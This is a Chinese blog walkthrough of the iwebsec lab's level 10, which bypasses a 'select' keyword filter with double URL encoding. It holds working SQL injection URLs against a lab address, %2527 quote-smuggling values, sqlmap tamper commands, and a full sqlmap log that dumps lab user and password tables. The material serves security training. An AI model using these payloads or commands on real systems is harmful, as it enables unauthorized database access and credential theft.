飞道的博客

iwebsec靶场 SQL注入漏洞通关笔记10- 双重url编码绕过

952人阅读  评论(0)

系列文章目录

iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记3- bool注入(布尔型盲注)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记5- updatexml注入(报错型盲注)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记6- 宽字节注入_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记7- 空格过滤绕过_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记8- 大小写过滤注入_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记9- 双写关键字绕过_mooyuan的博客-CSDN博客


目录

系列文章目录

前言

一、源码分析

二、url二次编码

1.那么啥是二次编码呢?

2.本关卡如何利用二次编码使用select呢

3.遇到单引号如何处理

(1)爆数据库

(2)爆表名

(3)爆字段名

二、sqlmap注入

1.注入命令

方法1(url二次编码法):

方法2(十六进制编码法):

方法3(get_magic_quotes_gpc()未开启时):

2.完整交互

总结


 

前言

打开靶场,url为 http://192.168.71.151/sqli/10.php?id=1 如下所示

一、源码分析

如下所示,SQL语句与前几关一样,调用的语句为$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";很明显这是一个普通的数字型注入,并且对参数id做了select关键字过滤,以及对id进行了url解码处理。

select关键字过滤与url解码的相关源码如下所示


  
  1. if( isset( $_GET[ 'id'])){
  2. if ( preg_match( '/select/', $_GET[ "id"])) {
  3. die( "ERROR");
  4. } else{
  5. $id = urldecode( $_GET[ 'id']);
  6. $sql= "SELECT * FROM user WHERE id=$id LIMIT 0,1";
  7. $result= mysql_query( $sql);
  8. }
  9. }

 为与第08关形成对比,下面时08关仅仅做select关键字处理的源码


  
  1. if( isset( $_GET[ 'id'])){
  2. if ( preg_match( '/select/', $_GET[ "id"])) {
  3. die( "ERROR");
  4. } else{
  5. $id= $_GET[ 'id'];
  6. $sql= "SELECT * FROM user WHERE id=$id LIMIT 0,1";
  7. $result= mysql_query( $sql);
  8. }
  9. }

这里要强调一下,相对于第08关的select关键字过滤,这里只是多了一层url解码。而本关卡的名称为双重url解码,这是因为默认情况下传入参数已经被url解码一次,而源码中新增的$id = urldecode($_GET['id']);   语句则是第二次url解码。看起来源码是对输入的参数进行了二次解码,防止关键字被绕过过滤。

二、url二次编码

看了源码分析后,我们了解到程序对二次编码绕过做了防范。

1.那么啥是二次编码呢?

假如我们传入双重url编码的字符串,将绕过非法字符检测,然后经urldecode解码,带入数据库中执行,导致SQL注入漏洞存在。

高版本PHP缺省设置magicquotesgpc为打开,这样一切get,post,cookie中的’,’’,\,null都将被特殊处理为\’,\’’,\,\0,可以防范大多数字符串SQL注入。。

举个例子:
'(单引号) 进行url编码后为%27
%27再次进行url编码后为%2527

如果我们使用二次编码技术将单引号'编码为%25%27,当服务器收到参数双重编码%2527时,完整的处理流程为

双重编码%2527->第一次解码成为%27(因为%25URL解码就是%),然后经过magicquotesgpc过滤时不做处理(即单引号不会变为\')->二次解码%27->'(单引号),从而绕开了PHP缺省的过滤机制。

2.本关卡如何利用二次编码使用select呢

源码分析过程中,我们得知select关键字被过滤,那么我们可以将select进行二次url编码

由于原文是select完整关键字过滤,那么我们只需将select中的第三个字母l进行url编码

l的url编码为%6c

%6c的url编码为%25%36%63

那么select可以替换为se%25%36%63ect

于是将渗透爆破获取数据库的注入语句

http://192.168.71.151/sqli/10.php?id=1 and 1=2 union select 1,2,database()

中关键字select替换为se%25%36%63ect,

可以成功渗透注入语句变为

http://192.168.71.151/sqli/10.php?id=1 and 1=2 union se%25%36%63ect 1,2,database()

3.遇到单引号如何处理

当magicquotesgpc未打开时,无需考虑此场景,其实iwebsec 靶场漏洞库 就没有开启这个功能,也就是说单引号和双引号等特殊字符不会被特殊处理。在这个关卡中,没有

试想当magicquotesgpc打开时,单引号’,双引号’’,\,null都将被特殊处理为\’,\’’,\,\0,可以防范大多数字符串SQL注入。这种时候如何处理呢?这也是下一个关卡11关要考虑处理的内容。

下面开始手工注入(假设magicquotesgpc打开)

因为iwebsec的靶场环境并没有打开,故而需要修改docker中sqli/10.php的源码,手动添加此功能

(1)爆数据库

http://192.168.71.151/sqli/10.php?id=1 and 1=2 union se%25%36%63ect 1,2,database()

如上图获取得到数据库名为iwebsec

(2)爆表名

失败注入命令如下,因为将上一步爆出的数据库iwebsec加上了单引号,导致注入失败:

http://192.168.71.151/sqli/10.php?id=-1 union se%25%36%63ect 1,2,group_concat(table_name) from information_schema.tables where table_schema='iwebsec'

渗透方法1:将'iwebsec'替换为database()

http://192.168.71.151/sqli/10.php?id=-1 union se%25%36%63ect 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

渗透方法2:将'iwebsec'替换为%2527iwebsec%2527

http://192.168.71.151/sqli/10.php?id=-1 union se%25%36%63ect 1,2,group_concat(table_name) from information_schema.tables where table_schema=%2527iwebsec%2527

这里iwebsec数据库有四个表格sqli,user,users,xss

(3)爆字段名

比如说想获取到users的字段名,那么注入命令如下

http://192.168.71.151/sqli/10.php?id=-1 union se%25%36%63ect 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

但是这种语句因为get_magic_quotes_gpc()和addshalshes()函数的处理会报错

绕过的方法是使用%2527users%2527代替users

 http://192.168.71.151/sqli/10.php?id=-1 union se%25%36%63ect 1,2,group_concat(column_name) from information_schema.columns where table_name=%2527users%2527

二、sqlmap注入

根据上文,总结出绕过渗透的方法:

(1)使用se%25%36%63ect代替select

(2)使用%2527代替单引号

1.注入命令

方法1(url二次编码法):

使用sqlmap的绕waf脚本--tamper chardoubleencode.py,将select、单引号等内容进行二次编码即可绕过,这个方法正好点题(双重url编码绕过)

sqlmap -u http://192.168.71.151/sqli/10.php?id=1  --current-db --dump --batch  --tamper chardoubleencode.py 

方法2(十六进制编码法):

参考第11关卡,可以使用16进制字编码来绕过

sqlmap -u http://192.168.71.151/sqli/10.php?id=1  --current-db --dump --batch --tamper hex2char.py

方法3(get_magic_quotes_gpc()未开启时):

这里要强调一下, 由于iwebsec的靶场环境没有开启 get_magic_quotes_gpc(),这时候就无需考虑单引号等字符被转义,只需要考虑select关键字被过滤掉,所以当前没有更改代码的情况下,使用第08关和09关的方法也可以渗透成功


  
  1. sqlmap -u http://192.168.71.151/sqli/10.php? id=1 --current-db --dump --batch --tamper double_ljn09.py
  2. sqlmap -u http://192.168.71.151/sqli/10.php? id=1 --current-db --dump --batch --tamper randomcase.py

2.完整交互

这里为了将chardoubleencode.py的作用完整显示出来,附上-v 3的完整交互信息,根据结果可知所有的字符串均进行了url二次编码,如下所示


  
  1. kali@kali: /usr/share/sqlmap/tamper$ sqlmap -u http: // 192.168. 71.151/sqli/ 10.php?id= 1 --current-db -- dump --batch --tamper chardoubleencode.py -v 3
  2. __ _
  3. __H_ _
  4. __ _ __ _[(]____ _ __ _ __ _ { 1.5. 11 #stable}
  5. | _ -| . [(] | . '| . |
  6. |___|_ [)]_|_|_|__,| _|
  7. |_|V... |_| https://sqlmap.org
  8. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  9. [*] starting @ 02: 36: 13 / 2022- 11- 25/
  10. [ 02: 36: 13] [DEBUG] cleaning up configuration parameters
  11. [ 02: 36: 13] [INFO] loading tamper module 'chardoubleencode'
  12. [ 02: 36: 13] [DEBUG] setting the HTTP timeout
  13. [ 02: 36: 13] [DEBUG] setting the HTTP User-Agent header
  14. [ 02: 36: 13] [DEBUG] creating HTTP requests opener object
  15. [ 02: 36: 13] [INFO] resuming back-end DBMS 'mysql'
  16. [ 02: 36: 13] [INFO] testing connection to the target URL
  17. [ 02: 36: 13] [DEBUG] declared web page charset 'utf-8'
  18. sqlmap resumed the following injection point(s) from stored session:
  19. ---
  20. Parameter: id (GET)
  21. Type: boolean-based blind
  22. Title: Boolean-based blind - Parameter replace (original value)
  23. Payload: id=(SELECT (CASE WHEN ( 8669= 8669) THEN 1 ELSE (SELECT 1609 UNION SELECT 1652) END))
  24. Vector: (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))
  25. Type: error-based
  26. Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  27. Payload: id= 1 AND (SELECT 2671 FROM(SELECT COUNT(*),CONCAT( 0x7178716271,(SELECT (ELT( 2671= 2671, 1))), 0x7162627171,FLOOR(RAND( 0)* 2)) x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
  28. Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT( '[DELIMITER_START]',([QUERY]), '[DELIMITER_STOP]',FLOOR(RAND( 0)* 2)) x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
  29. Type: time-based blind
  30. Title: MySQL >= 5.0. 12 AND time-based blind (query SLEEP)
  31. Payload: id= 1 AND (SELECT 3194 FROM (SELECT(SLEEP( 5)))NdTE)
  32. Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE], 0,[SLEEPTIME])))))[RANDSTR])
  33. Type: UNION query
  34. Title: Generic UNION query (NULL) - 3 columns
  35. Payload: id= 1 UNION ALL SELECT NULL,NULL,CONCAT( 0x7178716271, 0x737763636a6d4b595172494d63426767587648716c634d4558445341545941656d62644f46726646, 0x7162627171)-- -
  36. Vector: UNION ALL SELECT NULL,NULL,[QUERY]-- -
  37. ---
  38. [ 02: 36: 13] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
  39. [ 02: 36: 13] [INFO] the back-end DBMS is MySQL
  40. web server operating system: Linux CentOS 6
  41. web application technology: PHP 5.2. 17, Apache 2.2. 15
  42. back-end DBMS: MySQL >= 5.0
  43. [ 02: 36: 13] [INFO] fetching current database
  44. [ 02: 36: 13] [DEBUG] resuming configuration option 'string' ( 'age')
  45. [ 02: 36: 13] [DEBUG] performed 0 queries in 0. 00 seconds
  46. current database: 'iwebsec'
  47. [ 02: 36: 13] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
  48. [ 02: 36: 13] [INFO] fetching current database
  49. [ 02: 36: 13] [INFO] fetching tables for database: 'iwebsec'
  50. [ 02: 36: 13] [PAYLOAD] %2531%252 0%2555%254E%2549%254F%254E%252 0%2541%254C%254C%252 0%2553%2545%254C%2545%2543%2554%252 0%254E%2555%254C%254C%252C%254E%2555%254C%254C%252C%2543%254F%254E%2543%2541%2554%2528%253 0%2578%2537%2531%2537%2538%2537%2531%2536%2532%2537%2531%252C%254A%2553%254F%254E%255F%2541%2552%2552%2541%2559%2541%2547%2547%2528%2543%254F%254E%2543%2541%2554%255F%2557%2553%2528%253 0%2578%2537%2539%2536%2564%2536%2531%2536%2563%2536%2535%2537%2533%252C%2574%2561%2562%256C%2565%255F%256E%2561%256D%2565%2529%2529%252C%253 0%2578%2537%2531%2536%2532%2536%2532%2537%2531%2537%2531%2529%252 0%2546%2552%254F%254D%252 0%2549%254E%2546%254F%2552%254D%2541%2554%2549%254F%254E%255F%2553%2543%2548%2545%254D%2541%252E%2554%2541%2542%254C%2545%2553%252 0%2557%2548%2545%2552%2545%252 0%2574%2561%2562%256C%2565%255F%2573%2563%2568%2565%256D%2561%252 0%2549%254E%252 0%2528%253 0%2578%2536%2539%2537%2537%2536%2535%2536%2532%2537%2533%2536%2535%2536%2533%2529%252D%252D%252 0%252D
  51. [ 02: 36: 13] [DEBUG] performed 1 query in 0. 07 seconds
  52. [ 02: 36: 13] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
  53. [ 02: 36: 13] [PAYLOAD] %2531%252 0%2555%254E%2549%254F%254E%252 0%2541%254C%254C%252 0%2553%2545%254C%2545%2543%2554%252 0%254E%2555%254C%254C%252C%254E%2555%254C%254C%252C%2543%254F%254E%2543%2541%2554%2528%253 0%2578%2537%2531%2537%2538%2537%2531%2536%2532%2537%2531%252C%254A%2553%254F%254E%255F%2541%2552%2552%2541%2559%2541%2547%2547%2528%2543%254F%254E%2543%2541%2554%255F%2557%2553%2528%253 0%2578%2537%2539%2536%2564%2536%2531%2536%2563%2536%2535%2537%2533%252C%2563%256F%256C%2575%256D%256E%255F%256E%2561%256D%2565%252C%2563%256F%256C%2575%256D%256E%255F%2574%2579%257 0%2565%2529%2529%252C%253 0%2578%2537%2531%2536%2532%2536%2532%2537%2531%2537%2531%2529%252 0%2546%2552%254F%254D%252 0%2549%254E%2546%254F%2552%254D%2541%2554%2549%254F%254E%255F%2553%2543%2548%2545%254D%2541%252E%2543%254F%254C%2555%254D%254E%2553%252 0%2557%2548%2545%2552%2545%252 0%2574%2561%2562%256C%2565%255F%256E%2561%256D%2565%253D%253 0%2578%2537%2533%2537%2531%2536%2563%2536%2539%252 0%2541%254E%2544%252 0%2574%2561%2562%256C%2565%255F%2573%2563%2568%2565%256D%2561%253D%253 0%2578%2536%2539%2537%2537%2536%2535%2536%2532%2537%2533%2536%2535%2536%2533%252D%252D%252 0%252D
  54. [ 02: 36: 13] [DEBUG] performed 1 query in 0. 06 seconds
  55. [ 02: 36: 13] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
  56. [ 02: 36: 13] [DEBUG] stripping ORDER BY clause from statement because it does not play well with UNION query SQL injection
  57. [ 02: 36: 13] [PAYLOAD] %2531%252 0%2555%254E%2549%254F%254E%252 0%2541%254C%254C%252 0%2553%2545%254C%2545%2543%2554%252 0%254E%2555%254C%254C%252C%254E%2555%254C%254C%252C%2543%254F%254E%2543%2541%2554%2528%253 0%2578%2537%2531%2537%2538%2537%2531%2536%2532%2537%2531%252C%254A%2553%254F%254E%255F%2541%2552%2552%2541%2559%2541%2547%2547%2528%2543%254F%254E%2543%2541%2554%255F%2557%2553%2528%253 0%2578%2537%2539%2536%2564%2536%2531%2536%2563%2536%2535%2537%2533%252C%2565%256D%2561%2569%256C%252C%2569%2564%252C%257 0%2561%2573%2573%2577%256F%2572%2564%252C%2575%2573%2565%2572%256E%2561%256D%2565%2529%2529%252C%253 0%2578%2537%2531%2536%2532%2536%2532%2537%2531%2537%2531%2529%252 0%2546%2552%254F%254D%252 0%2569%2577%2565%2562%2573%2565%2563%252E%2573%2571%256C%2569%252D%252D%252 0%252D
  58. [ 02: 36: 13] [DEBUG] performed 1 query in 0. 05 seconds
  59. [ 02: 36: 13] [DEBUG] analyzing table dump for possible password hashes
  60. Database: iwebsec
  61. Table: sqli
  62. [ 7 entries]
  63. +----+-----------------------+----------+------------------------------------------------------+
  64. | id | email | password | username |
  65. +----+-----------------------+----------+------------------------------------------------------+
  66. | 1 | user1@iwebsec.com | pass1 | user1 |
  67. | 2 | user2@iwebsec.com | pass2 | user2 |
  68. | 3 | user3@iwebsec.com | pass3 | user3 |
  69. | 4 | user4@iwebsec.com | admin | admin |
  70. | 5 | 123@123.com | 123 | 123 |
  71. | 6 | 1234@123.com | 123 | ctfs ' or updatexml(1,concat(0x7e,(version())),0)# |
  72. | 7 | iwebsec02@iwebsec.com | 123456 | iwebsec' or updatexml( 1,concat( 0x7e,(version())), 0) # |
  73. +----+-----------------------+----------+------------------------------------------------------+
  74. [ 02: 36: 13] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
  75. [ 02: 36: 13] [INFO] fetching columns for table 'user' in database 'iwebsec'
  76. [ 02: 36: 13] [PAYLOAD] %2531%252 0%2555%254E%2549%254F%254E%252 0%2541%254C%254C%252 0%2553%2545%254C%2545%2543%2554%252 0%254E%2555%254C%254C%252C%254E%2555%254C%254C%252C%2543%254F%254E%2543%2541%2554%2528%253 0%2578%2537%2531%2537%2538%2537%2531%2536%2532%2537%2531%252C%254A%2553%254F%254E%255F%2541%2552%2552%2541%2559%2541%2547%2547%2528%2543%254F%254E%2543%2541%2554%255F%2557%2553%2528%253 0%2578%2537%2539%2536%2564%2536%2531%2536%2563%2536%2535%2537%2533%252C%2563%256F%256C%2575%256D%256E%255F%256E%2561%256D%2565%252C%2563%256F%256C%2575%256D%256E%255F%2574%2579%257 0%2565%2529%2529%252C%253 0%2578%2537%2531%2536%2532%2536%2532%2537%2531%2537%2531%2529%252 0%2546%2552%254F%254D%252 0%2549%254E%2546%254F%2552%254D%2541%2554%2549%254F%254E%255F%2553%2543%2548%2545%254D%2541%252E%2543%254F%254C%2555%254D%254E%2553%252 0%2557%2548%2545%2552%2545%252 0%2574%2561%2562%256C%2565%255F%256E%2561%256D%2565%253D%253 0%2578%2537%2535%2537%2533%2536%2535%2537%2532%252 0%2541%254E%2544%252 0%2574%2561%2562%256C%2565%255F%2573%2563%2568%2565%256D%2561%253D%253 0%2578%2536%2539%2537%2537%2536%2535%2536%2532%2537%2533%2536%2535%2536%2533%252D%252D%252 0%252D
  77. [ 02: 36: 13] [DEBUG] performed 1 query in 0. 06 seconds
  78. [ 02: 36: 13] [INFO] fetching entries for table 'user' in database 'iwebsec'
  79. [ 02: 36: 13] [PAYLOAD] %2531%252 0%2555%254E%2549%254F%254E%252 0%2541%254C%254C%252 0%2553%2545%254C%2545%2543%2554%252 0%254E%2555%254C%254C%252C%254E%2555%254C%254C%252C%2543%254F%254E%2543%2541%2554%2528%253 0%2578%2537%2531%2537%2538%2537%2531%2536%2532%2537%2531%252C%254A%2553%254F%254E%255F%2541%2552%2552%2541%2559%2541%2547%2547%2528%2543%254F%254E%2543%2541%2554%255F%2557%2553%2528%253 0%2578%2537%2539%2536%2564%2536%2531%2536%2563%2536%2535%2537%2533%252C%2569%2564%252C%257 0%2561%2573%2573%2577%256F%2572%2564%252C%2575%2573%2565%2572%256E%2561%256D%2565%2529%2529%252C%253 0%2578%2537%2531%2536%2532%2536%2532%2537%2531%2537%2531%2529%252 0%2546%2552%254F%254D%252 0%2569%2577%2565%2562%2573%2565%2563%252E%256 0%2575%2573%2565%2572%256 0%252D%252D%252 0%252D
  80. [ 02: 36: 13] [DEBUG] performed 1 query in 0. 05 seconds
  81. [ 02: 36: 13] [DEBUG] analyzing table dump for possible password hashes
  82. Database: iwebsec
  83. Table: user
  84. [ 3 entries]
  85. +----+----------+----------+
  86. | id | password | username |
  87. +----+----------+----------+
  88. | 1 | pass1 | user1 |
  89. | 2 | pass2 | user2 |
  90. | 3 | pass3 | user3 |
  91. +----+----------+----------+
  92. [ 02: 36: 13] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
  93. [ 02: 36: 13] [INFO] fetching columns for table 'xss' in database 'iwebsec'
  94. [ 02: 36: 13] [PAYLOAD] %2531%252 0%2555%254E%2549%254F%254E%252 0%2541%254C%254C%252 0%2553%2545%254C%2545%2543%2554%252 0%254E%2555%254C%254C%252C%254E%2555%254C%254C%252C%2543%254F%254E%2543%2541%2554%2528%253 0%2578%2537%2531%2537%2538%2537%2531%2536%2532%2537%2531%252C%254A%2553%254F%254E%255F%2541%2552%2552%2541%2559%2541%2547%2547%2528%2543%254F%254E%2543%2541%2554%255F%2557%2553%2528%253 0%2578%2537%2539%2536%2564%2536%2531%2536%2563%2536%2535%2537%2533%252C%2563%256F%256C%2575%256D%256E%255F%256E%2561%256D%2565%252C%2563%256F%256C%2575%256D%256E%255F%2574%2579%257 0%2565%2529%2529%252C%253 0%2578%2537%2531%2536%2532%2536%2532%2537%2531%2537%2531%2529%252 0%2546%2552%254F%254D%252 0%2549%254E%2546%254F%2552%254D%2541%2554%2549%254F%254E%255F%2553%2543%2548%2545%254D%2541%252E%2543%254F%254C%2555%254D%254E%2553%252 0%2557%2548%2545%2552%2545%252 0%2574%2561%2562%256C%2565%255F%256E%2561%256D%2565%253D%253 0%2578%2537%2538%2537%2533%2537%2533%252 0%2541%254E%2544%252 0%2574%2561%2562%256C%2565%255F%2573%2563%2568%2565%256D%2561%253D%253 0%2578%2536%2539%2537%2537%2536%2535%2536%2532%2537%2533%2536%2535%2536%2533%252D%252D%252 0%252D
  95. [ 02: 36: 13] [DEBUG] performed 1 query in 0. 06 seconds
  96. [ 02: 36: 13] [INFO] fetching entries for table 'xss' in database 'iwebsec'
  97. [ 02: 36: 13] [PAYLOAD] %2531%252 0%2555%254E%2549%254F%254E%252 0%2541%254C%254C%252 0%2553%2545%254C%2545%2543%2554%252 0%254E%2555%254C%254C%252C%254E%2555%254C%254C%252C%2543%254F%254E%2543%2541%2554%2528%253 0%2578%2537%2531%2537%2538%2537%2531%2536%2532%2537%2531%252C%254A%2553%254F%254E%255F%2541%2552%2552%2541%2559%2541%2547%2547%2528%2543%254F%254E%2543%2541%2554%255F%2557%2553%2528%253 0%2578%2537%2539%2536%2564%2536%2531%2536%2563%2536%2535%2537%2533%252C%2569%2564%252C%256E%2561%256D%2565%2529%2529%252C%253 0%2578%2537%2531%2536%2532%2536%2532%2537%2531%2537%2531%2529%252 0%2546%2552%254F%254D%252 0%2569%2577%2565%2562%2573%2565%2563%252E%2578%2573%2573%252D%252D%252 0%252D
  98. [ 02: 36: 13] [DEBUG] turning off reflection removal mechanism ( for optimization purposes)
  99. [ 02: 36: 13] [DEBUG] performed 1 query in 0. 06 seconds
  100. [ 02: 36: 13] [DEBUG] analyzing table dump for possible password hashes
  101. Database: iwebsec
  102. Table: xss
  103. [ 5 entries]
  104. +----+------------------------------------+
  105. | id | name |
  106. +----+------------------------------------+
  107. | 7 | <img src= 1 onerror=alert( /ctfs/)/> |
  108. | 6 | <img src= 1 onerror=alert( /ctfs/)/> |
  109. | 5 | <img src= 1 onerror=alert( /ctfs/)/> |
  110. | 1 | iwebsec |
  111. | 8 | <?php phpinfo();?> |
  112. +----+------------------------------------+
  113. [ 02: 36: 13] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
  114. [ 02: 36: 13] [INFO] fetching columns for table 'users' in database 'iwebsec'
  115. [ 02: 36: 13] [PAYLOAD] %2531%252 0%2555%254E%2549%254F%254E%252 0%2541%254C%254C%252 0%2553%2545%254C%2545%2543%2554%252 0%254E%2555%254C%254C%252C%254E%2555%254C%254C%252C%2543%254F%254E%2543%2541%2554%2528%253 0%2578%2537%2531%2537%2538%2537%2531%2536%2532%2537%2531%252C%254A%2553%254F%254E%255F%2541%2552%2552%2541%2559%2541%2547%2547%2528%2543%254F%254E%2543%2541%2554%255F%2557%2553%2528%253 0%2578%2537%2539%2536%2564%2536%2531%2536%2563%2536%2535%2537%2533%252C%2563%256F%256C%2575%256D%256E%255F%256E%2561%256D%2565%252C%2563%256F%256C%2575%256D%256E%255F%2574%2579%257 0%2565%2529%2529%252C%253 0%2578%2537%2531%2536%2532%2536%2532%2537%2531%2537%2531%2529%252 0%2546%2552%254F%254D%252 0%2549%254E%2546%254F%2552%254D%2541%2554%2549%254F%254E%255F%2553%2543%2548%2545%254D%2541%252E%2543%254F%254C%2555%254D%254E%2553%252 0%2557%2548%2545%2552%2545%252 0%2574%2561%2562%256C%2565%255F%256E%2561%256D%2565%253D%253 0%2578%2537%2535%2537%2533%2536%2535%2537%2532%2537%2533%252 0%2541%254E%2544%252 0%2574%2561%2562%256C%2565%255F%2573%2563%2568%2565%256D%2561%253D%253 0%2578%2536%2539%2537%2537%2536%2535%2536%2532%2537%2533%2536%2535%2536%2533%252D%252D%252 0%252D
  116. [ 02: 36: 13] [DEBUG] performed 1 query in 0. 06 seconds
  117. [ 02: 36: 13] [INFO] fetching entries for table 'users' in database 'iwebsec'
  118. [ 02: 36: 13] [PAYLOAD] %2531%252 0%2555%254E%2549%254F%254E%252 0%2541%254C%254C%252 0%2553%2545%254C%2545%2543%2554%252 0%254E%2555%254C%254C%252C%254E%2555%254C%254C%252C%2543%254F%254E%2543%2541%2554%2528%253 0%2578%2537%2531%2537%2538%2537%2531%2536%2532%2537%2531%252C%254A%2553%254F%254E%255F%2541%2552%2552%2541%2559%2541%2547%2547%2528%2543%254F%254E%2543%2541%2554%255F%2557%2553%2528%253 0%2578%2537%2539%2536%2564%2536%2531%2536%2563%2536%2535%2537%2533%252C%257 0%2561%2573%2573%2577%256F%2572%2564%252C%2572%256F%256C%2565%252C%2575%2573%2565%2572%256E%2561%256D%2565%2529%2529%252C%253 0%2578%2537%2531%2536%2532%2536%2532%2537%2531%2537%2531%2529%252 0%2546%2552%254F%254D%252 0%2569%2577%2565%2562%2573%2565%2563%252E%2575%2573%2565%2572%2573%252D%252D%252 0%252D
  119. [ 02: 36: 13] [DEBUG] performed 1 query in 0. 01 seconds
  120. [ 02: 36: 13] [DEBUG] analyzing table dump for possible password hashes
  121. Database: iwebsec
  122. Table: users
  123. [ 1 entry]
  124. +-------+-------------+----------+
  125. | role | password | username |
  126. +-------+-------------+----------+
  127. | admin | mall123mall | orange |
  128. +-------+-------------+----------+
  129. [ 02: 36: 13] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
  130. [ 02: 36: 13] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
  131. [ 02: 36: 13] [WARNING] your sqlmap version is outdated
  132. [*] ending @ 02: 36: 13 / 2022- 11- 25/

总结

SQL注入主要分析几个内容

(1)闭合方式是什么?iwebsec的第10关关卡为数字型,无闭合

(2)注入类别是什么?这部分是普通的报错型注入

(3)是否过滤了关键字?很明显通过源码,iwebsec的第10关卡过滤了select关键字并且进行了双重url解码

了解了如上信息就可以针对性进行SQL渗透,使用sqlmap工具渗透更是事半功倍,以上就是今天要讲的双重url解码型注入内容,初学者建议按部就班先使用手动注入练习,再进行sqlmap渗透。


转载:https://blog.csdn.net/mooyuan/article/details/128037232
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场